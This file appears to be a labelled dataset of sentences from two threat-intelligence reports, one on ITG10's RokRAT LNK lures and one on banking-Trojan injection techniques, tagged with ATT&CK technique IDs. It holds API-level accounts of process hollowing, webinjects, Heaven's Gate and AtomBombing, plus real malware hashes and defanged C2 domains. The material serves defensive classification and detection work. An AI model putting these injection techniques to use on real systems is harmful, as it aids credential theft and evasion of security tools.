{"sentence": "icon_location = C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe PowerShell Commands: Related Malware?", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "While researching the RokRAT-related files, X-Force also uncovered three LNK files that behave differently than expected.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "There is no use of OneDrive or similar cloud applications to host a second-stage payload, and instead of dropping a batch file, these LNK files drop VBS, with the obfuscation technique for the dropped files being hex-encoding vs. string concatenation.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In addition, the RokRAT LNK files drop batch files and downloads the payload that is decoded using the first byte as a key, then the payload is executed using Windows API functions (VirtualProtect).", "labels": ["T1059.003", "T1105", "T1106", "T1140"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "With these additional LNK files, the VBS downloaders do not perform these actions.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The LNK files analyzed contain an encoded PowerShell, and once the LNK files are executed, the PowerShell script is run, and two files are dropped to the user’s %TEMP% folder.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In one analyzed sample, the files dropped were a VBS file (tmp<random-9-digit-number>.vbs ), and a Plaintext file with contents asdfgqwert.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The VBS file will get executed via Wscript.exe: “C:\\Windows\\System32\\WScript.exe” “C:\\Users\\Usuario\\AppData\\Local\\Temp\\tmp<nine-digit-number>.vbs”.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Wscript.exe is a service Wscript.exe is a service provided by the Windows system with scripting abilities.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Subsequently, two GET requests are initiated.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In a third file we analyzed, instead of the LNK file dropping a VBS and a Plaintext file, a VBS file and a JPEG decoy file are dropped to the users %TEMPT% folder.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In this case, the JPEG decoy file appears to be a correspondence related to the “Proof of Digital Assets”.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "At the time of this analysis, X-Force was unable to retrieve the final payload from the servers as they have been taken down; therefore, it is uncertain whether these additional LNK files are related to ITG10 activity.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Further research and analysis are needed to determine relevance and attribution.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Encoded PowerShell:", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Decoded PowerShell: tmp1698268529.vbs GET Requests: Proof of Digital Assets JPEG X-Force Recommendations Multiple lure documents uncovered in this campaign suggest ITG10 continues to target individuals and organizations involved in foreign policy, potentially related to shifts in the geopolitical and security environment on the Korean peninsula.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "IBM X-Force assesses with high confidence that individuals and organizations holding strategic, political, or military information in connection with the Korean peninsula will see elevated threats from the DPRK, given ITG10’s previous and recent activity.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Organizations that may be at elevated risk of targeting from ITG10 have the potential to decrease the risk to their organization by employing heightened vigilance toward potential phishing emails, warning employees of the phishing email threats, employing and closely monitoring endpoint detection and response (EDR) tools, and leveraging behavioral analytics to identify malicious behavior.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "We also recommend that potentially targeted organizations alert on the following indicators of compromise to detect behavior related to this campaign.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Indicators of Compromise Indicator Indicator Type Context f92297c4efabba98befeb992a009462d1aba6f3c3a11210a7c054ff5377f0753 LNK 7ef2c0d2ace70fedfe5cd919ad3959c56e7e9177dcc0ee770a4af7f84da544f1 PDF Decoy 2023년도 4월 29일 세미나.pdf 06431a5d8f6262cc3db39d911a920f793fa6c648be94daf789c11cc5514d0c3d Batch File 230415.bat 1c5b9409243bfb81a5924881cc05f63a301a3a7ce214830c7a83aeb2485cc5c3 ZIP (0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip cb4c7037c7620e4ce3f8f43161b0ec67018c09e71ae4cea3018104153fbed286 LNK 5815a6f7976e993fcdf9e024f4667049ec5a921b7b93c8c8c0e5d779c8b72fcc HWP Decoy 0722.hwp 240e7bd805bd7f2d17217dd4cebc03ac37ee60b7fb1264655cfd087749db647a Batch File 202207221.bat 9854750f3880c7cee3281d8c33292ca82d0d288963f0f2771d938c06ccaffaa9 LNK ce56b011ac4663a40f0ba606c98c08aaf7caf6a45765aa930258fe2837b12181 PDF Decoy 계약서내용.pdf cc6ae9670e38244e439711b1698f0db3cff000b79bec7f47bc4aa5ab1f6177c0 Batch File 230422.bat 00d88009fa50bfab849593291cce20f8b2f2e2cf2428d9728e06c69fced55ed5 ZIP projects in Libya.zip 6753933cd54e4eba497c48d63c7418a8946b4b6c44170105d489d29f1fe11494 LNK Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk f1289e7229ace984027f29cf8e2dd8fdd19b0c4b488da31ff411ee95305eaecc docx Proposed MOU GTE Korea.docx fa2ebcdfce8bbe4245ed77b43d39e22c0c7593ca3f65be3fd0ccdf7ee02130a9 PDF Decoy Proposed MOU GTE Korea.pdf 76d0133d738876f314ae792d0cf949710b66266ba0cebefbd98ce40c64a9b15b PDF Decoy MFZ Executive Summary Korea.pdf 5678196f512f8a531c7d85af8df4f40c7a5f9c27331b361bb1a1c46d317a77d8 PDF Decoy 230130.pdf C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe Icon Location C:\\Program Files (x86)\\Hnc\\Office 2020\\HOffice110\\Bin\\Hwp.exe Icon Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalFOTHZFRV9DVU9iUFdnLXhPZG8xRXFYckU_ZT1BM1QwV2Q/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRlNnFWazdDNHp2Yy1SekU_ZT1SSFZJSk4/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBaFFNUDZlZzhhUkZiN0xVMUNPQ2YzeE5vVFU_ZT1wZ2liaUM/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRiZnpnVU14TmJJbkM2Q0k_ZT1WZElLSjE/root/content URL Document Location hxxps[:]//api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBdTJteTF4aDZ0OFhnUjJNem1zOG5oUndvLTZCP2U9akhIQzZ5/root/content URL Document Location 6bab11d9561482777757f16c069ebef3f1cd6885dbef55306ffde30037a41d48 LNK 7529eaeeb29c713f8e15827c79001a9227d8bc31c9209bf524a4ff91648a526e VBS xn--vn4b27hka971hbue[.]kr C2 GET Request 50fe8a981a7d4824f0b297f37804b65672ed4484e198e7c324260a34941ddac7 LNK 3d1d2d0464013d9e1dd7611d73176f3a31328a41d6474d5b6d0582ad09d3b17d VBS partybbq.co[.]kr C2 GET Request 1ec4d60738a671f00089a86eeba6cb13750bce589e84fd177707718a4cc7d8f1 LNK 88c219656f853b2dc54ae02d32a716e10c8392ed471d1c813e57de2dc170951e VBS 7aa7233feb8e8a7b71ae6cdd0ddb8c2b192d4b6e131fed1ade82efdcb8096c57 JPEG Decoy Scroll to view full table To learn how IBM X-Force can help you with anything regarding cybersecurity including incident response, threat intelligence, or offensive security services schedule a meeting here: IBM X-Force Scheduler If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The post ITG10 Likely Targeting South Korean Entities of Interest to the Democratic People’s Republic of Korea (DPRK) appeared first on Security Intelligence.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Executive Summary While advanced persistent threats get the most breathless coverage in the news, many threat actors have money on their mind rather than espionage.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "You can learn a lot about the innovations used by these financially motivated groups by watching banking Trojans.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Because attackers constantly create new techniques to evade detection and perform malicious acts, studying monetarily motivated malware can help defenders understand threat actor tactics and protect organizations more effectively.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some of the banking Trojans described here are historically known for being financial malware, but now they’re primarily used as infrastructure to deliver other malware.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Which is to say, by preventing techniques used by banking Trojans, you can also stop other types of threats.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We’ll survey techniques used by notorious banking Trojan families to evade detection, steal sensitive data and manipulate data.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We’ll also describe how those techniques can be blocked.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "These families include Zeus, Kronos, Trickbot, IcedID, Emotet and Dridex.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Palo Alto Networks customers are protected from such attacks using Cortex XDR and WildFire.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Table of Contents What Are Webinjects?How to Detect WebinjectsInfecting Web Browsers During Process CreationHow to Prevent Attempts to Infect Web Browsers During Process CreationNamed Pipe Communication Between Injected ProcessesHow to Prevent Named Pipe Communication Between Injected ProcessesHeaven’s Gate Injection TechniqueHow to Prevent Heaven's GateEvasive Process Hollowing by Entrypoint PatchingHow to Prevent Evasive Process Hollowing by Entrypoint PatchingPE InjectionHow to Prevent PE InjectionProcess Injection via HookingHow to Prevent Injection via HookingAtomBombing Injection TechniqueHow to Prevent AtomBombing and its VariantsConclusionIndicators of Compromise What Are Webinjects?", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Webinjects are modules that can inject HTML or JavaScript before a web page is rendered, and are often used to trick users.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "They are known to be abused by banking Trojans, as well as being employed to steal credentials and manipulate form data inside web pages.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In most banking Trojan families, there is at least one webinjects module.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "An early stager of the banking Trojan usually injects the banking Trojan’s main bot into a Windows process, and that process injects the webinjects module into the machine’s available web browser processes as shown in Figure 1. Figure 1.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot goes through processes one by one to find browsers to inject with its webinjects module, using a stealthy technique known as reflective injection.", "labels": ["T1057"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The webinjects module hooks the API calls responsible for sending, receiving or encrypting data sent to a web server.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "By intercepting the data before it is encrypted, the malware can read HTTP-POST headers and manipulate them on the fly.", "labels": ["T1071.001"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot webinjects module placing hooks based on the browser.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot placing hooks on wininet.dll functions.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "By fully controlling the HTTP headers just before the webpage is rendered, the malware can completely modify the forms and fool the user.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malware may inject HTML or JavaScript code to trick the user into inserting sensitive information, such as a PIN code or credit card number, enabling the malware to collect it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malware can extract this information and send it to its command and control (C2) server without actually sending the forged headers to the targeted web page server.", "labels": ["T1041"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Chrome (chrome.dll) Firefox (nspr3.dll / nspr4.dll) Internet Explorer / Edge (Wininet.dll) ssl_read PR_Read HttpSendRequest ssl_write PR_Connect InternetCloseHandle PR_Close InternetReadFile PR_Write InternetQueryDataAvailable HttpQueryInfo InternetWriteFile HttpEndRequest InternetQueryOption InternetSetOption HttpOpenRequest InternetConnect Table 1.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Frequently hooked API functions.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Detect Webinjects This technique can be prevented by detecting an injection into a web browser process.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The injected thread calls the NtProtectVirtualMemory function where the NewAccessProtection argument is PAGE_EXECUTE_READWRITE and the BaseAddress argument is an address to a library function targeted by banking Trojans.", "labels": ["T1055", "T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For example, Trickbot uses both VirtualProtect and VirtualProtectEx in its various versions.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Inspecting NtProtectVirtualMemory calls covers both.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some banking Trojans opt to avoid code injection.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Instead, they suspend the remote process threads and install the hooks remotely.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Inspecting remote NtProtectVirtualMemory calls can detect this variant technique.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Figure 4. NtProtectVirtualMemory prototype.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Infecting Web Browsers During Process Creation", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some banking Trojans aim to infect a target process as soon as it is launched, by injecting code into a predicted parent process of the real target.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Once the banking Trojan executes in the context of the parent process, it hooks process creation library functions and waits until the real target is created.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Inside the hook, the banking Trojan manipulates the process creation flow.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Then, for example, it initializes the webinjects module inside the remote process.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The explorer.exe and runtimebroker.exe parent processes are frequently abused for this goal, as they usually launch the real targets.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For instance, the Karius banking Trojan used this technique by injecting code into explorer.exe and hooking CreateProcessInternalW. The Trojan’s hook handler looked for a spawned web browser process and injected the malicious webinjects module into it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Attempts to Infect Web Browsers During Process Creation", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This technique can be prevented by looking for an injection into explorer.exe or runtimebroker.exe, where the injected thread hooks process creation functions like NtCreateUserProcess, NtCreateProcessEx, CreateProcessInternalW, CreateProcessA or CreateProcessW. Named Pipe Communication Between Injected Processes Many banking Trojans use named pipes to communicate with various processes under the threat actor’s control.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "To do this, they inject their main bot into a Windows process, and then inject their other modules into different processes according to the module’s purpose.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "They then establish communication between the different processes using named pipes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For example, Trickbot injects the main bot into svchost.exe.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "It creates a named pipe server and reflectively injects the webinjects module into web browsers.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This injected module connects to the same named pipe as a client to communicate to the main bot and deliver the fetched credentials to the C2 server.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot named pipe server.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Named Pipe Communication Between Injected Processes This technique can be prevented by inspecting named-pipe events.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "An injected thread creates a named pipe inside a Windows process, and then another injected thread that lives inside a web browser attempts to connect to that same named pipe.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Heaven’s Gate Injection Technique Heaven's Gate is a technique used by malware, which enables a 32-bit (WoW64) process to execute 64-bit code by performing a far jump/call using segment selector 0x33.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Modern malware uses Heaven's Gate to inject into both 64-bit and 32-bit processes from a single 32-bit process on x64 systems.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This bypasses WoW64 API hooks, it hinders analysis on some debuggers, and it fails emulation on some sandboxes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Even though this method is old, it is still effective and frequently used.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot and Emotet loaders use Heaven's Gate for process hollowing from a WoW64 process into a 64-bit svchost.exe (For more about process hollowing, see the section on Evasive Process Hollowing By Entrypoint Patching below).", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The architecture of these two banking Trojans dictates that their main bot persists inside svchost.exe while the web content manipulation and credential stealing modules live inside the browser processes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Emotet using Heaven's Gate in its Microsoft Outlook Messaging API (MAPI) module.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Heaven's Gate A WoW64 process usually goes through the wow64cpu.dll to perform the transition to x64 CPU mode.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Heaven's Gate does this transition manually.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Prevention methods can find Heaven's Gate by inspecting whether a WoW64 process system call didn’t go through the wow64cpu.dll.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This can be done by placing hooks on critical APIs, generating a stack trace and inspecting the stack trace for wow64cpu.dll.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "WoW64’s normal syscall flow.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Evasive Process Hollowing by Entrypoint Patching Process hollowing is a process injection technique that creates a new legitimate process in a suspended mode, unmaps its main image and replaces it with malicious code.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malicious code is written into the newly created process and the suspended thread context instruction pointer is changed using NtGetContextThread/NtSetContextThread.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Security product vendors check for main image unmapping combined with the usage of NtGetContextThread/NtSetContextThread to detect process hollowing.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "A known technique for evading detection is to patch the process entry point with a small jump that redirects execution to the payload without actually using NtGetContextThread/NtSetContextThread functions or unmapping the main image.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For example, Trickbot and Kronos have both used this technique.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Kronos mapped a suspended svchost.exe into its own process and patched it in its own memory address space.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Similar to other banking Trojans, Kronos' main module ran within svchost.exe and orchestrated the whole operation from the remote svchost.exe process.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot implemented process hollowing by first using VirtualProtectEx on the process entrypoint, and then writing the hook stub using WriteProcessMemory. Figure 8.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Kronos mapping svchost.exe and patching its entrypoint.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Kronos hook stub template – x86 opcodes for push and ret.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Evasive Process Hollowing by Entrypoint Patching This technique can be prevented either by inspecting whether the address argument provided to the calls of NtWriteVirtualMemory or NtProtectVirtualMemory is a remote process entry point or by detecting suspicious remote mapping and reading of svchost.exe memory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "PE Injection Common injection methods used by banking Trojans involve writing a mapped PE into a remote process using WriteProcessMemory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some malware families try to obscure the call by wiping artifacts from the buffer, such as wiping the PE header.", "labels": ["T1027"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For example, Zeus variants use this technique to inject themselves into other processes, allowing them to stay hidden, as well as to perform webinjects and to perpetrate financial data theft. Figure 10.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Zeus injection code from its leaked source code.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent PE Injection This technique can be prevented by inspecting the buffer sent to NtWriteVirtualMemory for executable artifacts.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Process Injection via Hooking Hooking can be used as an injection technique.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Injecting a banking Trojan’s main payload into a legitimate-looking process maintains stealth and helps avoid endpoint protection detection.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This technique utilizes hooking to get code execution, usually by hooking a frequently called API function with a jump to a payload/shellcode.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This avoids calling any suspicious APIs often used in code injection techniques like CreateRemoteThread or NtSetContextThread.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For instance, IcedID injects its main bot into a hollowed instance of svchost.exe using API hooking.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This is also known as the ZwClose technique (ZwClose was the hooked API in Zberp, the first to employ this injection technique in the wild).", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The injection flow of IcedID is slightly different than that of Zberp.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "It first hooks NtCreateUserProcess and then calls CreateProcessA to create svchost.exe without any special parameters or argument.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In a regular flow, the newly created svchost.exe should terminate right away.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "IcedID initiates svchost.exe hooking.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "IcedID hooks NtCreateUserProcess.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "However, because IcedID hooked NtCreateUserProcess, the hook handler is called right after the call to CreateProcessA. In the handler, it performs the following activities: Unhooks NtCreateUserProcess Calls NtCreateUserProcess (which creates svchost.exe) Decompresses a local buffer that contains the payload to inject using RtlDecompressBuffer Allocates memory for the payload at the remote svchost.exe process Writes the payload into the remote svchost.exe using NtAllocateVirtualMemory and ZwWriteVirtualMemory", "labels": ["T1140"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, IcedID hooks RtlExitUserProcess in the newly created svchost.exe with a jump stub to the payload.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "As mentioned, svchost.exe was created without any parameters and it will try to exit.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "However, due to the IcedID hook, it will jump to the payload.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "IcedID hooks RtlExitUserProcess.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Injection via Hooking This technique can be prevented by inspecting calls to NtProtectVirtualMemory and NtWriteVirtualMemory.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The provided address argument for NtProtectVirtualMemory is an exported function from one of the Windows libraries, and the NtWriteVirtualMemory written buffer is a hooking stub.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In both cases, the remote process has to be a known injection target.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "AtomBombing Injection Technique AtomBombing is a technique that allows malware to inject code while avoiding calling suspicious APIs that security vendors are watching.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Dridex uses a slightly modified AtomBombing technique that injects one of its stages into a Windows process (usually explorer.exe) and employs various steps to cause financial data theft.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Malware using the AtomBombing technique first writes the payload into the global atom table, which can be accessed by all processes.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "They then dispatch an asynchronous procedure call (APC) to the APC queue of a target process thread using NtQueueApcThread, forcing the target process to call GlobalGetAtomA.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
